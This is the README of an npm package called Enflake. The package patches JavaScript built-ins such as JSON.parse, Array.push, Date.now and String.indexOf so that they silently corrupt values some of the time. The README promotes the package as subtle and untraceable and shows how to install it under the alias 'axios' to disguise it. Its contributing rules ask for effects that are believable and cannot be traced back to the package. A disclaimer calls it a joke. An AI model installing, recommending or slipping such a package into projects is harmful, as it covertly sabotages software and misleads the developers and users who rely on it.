Enflake

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An astonishingly evil entertaining way to wreck havoc in your javascript and typescript projects.

Enflake is a package that alters JavaScript's core built-in standard objects such as Array.push and JSON.parse in ways that would make them act unreliably- ✨ all without throwing errors nor causing direct exceptions that would make issues traceable to the enflake package. ✨

Because Enflake modifies core objects, issues could easily trickle down to other packages and cause fun-to-trace issues over the entire project.

Enflake, by default, allows the flakified methods to act like they normally do most of the time which ensures that problems are only caught when it's already too late projects that use this don't immediately collapse into rubbles.

Selling points

• turns popular built-in methods into unreliable versions of themselves
• easy to insert into any js/ts project
• very subtle
• untraceable
• will not cause exceptions that will be traceable to this package

Disclaimer

Using this in production is not a good idea

This package can easily cause issues and was written as a joke so please don't use this in production

Installation

Install the package

npm i enflake
// or you can install it under an alias
npm i axios@npm:enflake

Import the package, preferrably at the top of the main entry file

// if import is supported
import('enflake')
// otherwise, use require
require('enflake')

// if installed under an alias, use that alias
import('axios')
require('axios')

Configuration

There are only two environment variables that can alter how enflake works

• DEBUG_ENFLAKE [defaults to false]
  • declaring this environment variable will enable logging that will indicate which method is flaking
• PERCENT_CHANCE_OF_SUCCESS [defaults to 98]
  • Setting this to 100 will ensure that enflake will never cause anything to flake while setting it to 0 will ensure unreliability

Example

require('enflake')

const sampleArray = []
sampleArray.push('a', 'b')
// you may expect sampleArray to now be ['a', 'b']
// but sample array could now be ['a', 'b', 'a'] or ['a', 'b', 'b']
// but note that, by default, it will act as expected 98% of the time

// Check the logs and notice that the results sometimes vary
for(let x = 0; x < 100; x++) {
    console.log(sampleArray)
}

In-depth list of havoc to be caused

JSON

• JSON.parse(): modifies values depending on their type
  • if value is a string, replace all normal spaces with thin spaces
  • if value is a number, increment or decrement the value
  • if value is a boolean, negate it

  const stringifiedJson = JSON.stringify({
      stringSample: "Enflaked Sample",
      numberSample: 100,
      booleanSample: true
  })
  console.log(JSON.parse(stringifiedJson))
  // expectation: {
  //  stringSample: "Enflaked Sample",
  //  numberSample: 100,
  //  booleanSample: true
  //}
  
  // enflaked result: {
      // this looks like the same string but the space is not really a space but just one that looks like a space.
      // You can verify this by copying the value from the expectation and searching the page for it
  //      stringSample: 'Enflaked Sample',
  //      numberSample: 99,
  //      booleanSample: false
  //  }
  

Array

• Array.prototype.at(): will now give you the element at a random index

  const sampleArray = [1,2,3,5,6,11,111]
  console.log(sampleArray.at(1))
  // expectation: 2
  // enflaked result: could be anything in the array
  

• Array.prorotype.push(): will modify the pushed value depending on its type
  • if value pushed is a string, the same string will appear in the array twice
  • if value pushed is a number, the number will be incremented
  • if value pushed is a boolean, the value with be negated

  const sampleArray = []
  sampleArray.push(1)
  sampleArray.push("enflake")
  sampleArray.push(trye)
  
  console.log(sampleArray)
  // expectation: [ 1, 'enflake', true ]
  // enflaked result: [ 2, 'enflake', 'enflake', false ]
  

• Array.prototype.pop(): will return modified results depending on their type
  • if value popped is a number, the number gets incremented or decremented
  • if value popped is a boolean, the value with be negated

  const sampleArray = [100,true]
  console.log(sampleArray.pop())
  // expectation: true
  // enflaked result: false
  console.log(sampleArray.pop())
  // expectation: 100
  // enflaked result: 99 or 101
  

• Array.prototype.every(): will return random results

  const sampleArray = [2,3,4]
  console.log(sampleArray.every((x) => x > 1))
  // expectation: true
  // enflaked result: true or false
  

Date

• Date.now(): returns the timestamp for yesterday

  console.log(Date.now())
  // expectation: Today's date (1718201340130)
  // enflaked result: Yesterday's date (1718114940130)
  

Number

• Number.prototype.toString(): will return a string version of the incremented/decremented number

  const sampleNumber = 10
  console.log(sampleNumber.toString())
  // expectation: 10
  // enflaked result: 9 or 11
  

String

• String.prototype.at(): will return the element at index+-1

  const sampleString = "enflake"
  console.log(sampleString.at(1))
  // expectation: n
  // enflaked result: e or f
  

• String.prototype.padStart: will pad the start +-1 of the desired padding

  const sampleString = "enflake"
  console.log(sampleString.padStart(11))
  // expectation: `    enflake`
  // enflaked result: `   enflake` or `     enflake`
  

• String.prototype.padEnd: does the same as padStart but for the tail

  const sampleString = "enflake"
  console.log(sampleString.padEnd(11), 'end')
  // expectation: `enflake    end`
  // enflaked result: `enflake   end` or `enflake     end`
  

• String.prototype.indexOf: will return -1 even when the element exists in the array

  const sampleString = "enflake"
  console.log(sampleString.indexOf("flake"))
  // expectation: 2
  // enflaked result: -1
  

Contributing

Contributing is highly welcome- just make sure to follow the following:

• the effect must be subtle and believable
  • ex:
    • Array.push of a string should not cause an entire object to be pushed
• in basic cases, the effect must not cause an exception that will lead directly to the library
• modify the readme to reflect your changes
• send it in as a pull request

Issues and Requests

Feel free to open issues or request for new features here

License

MIT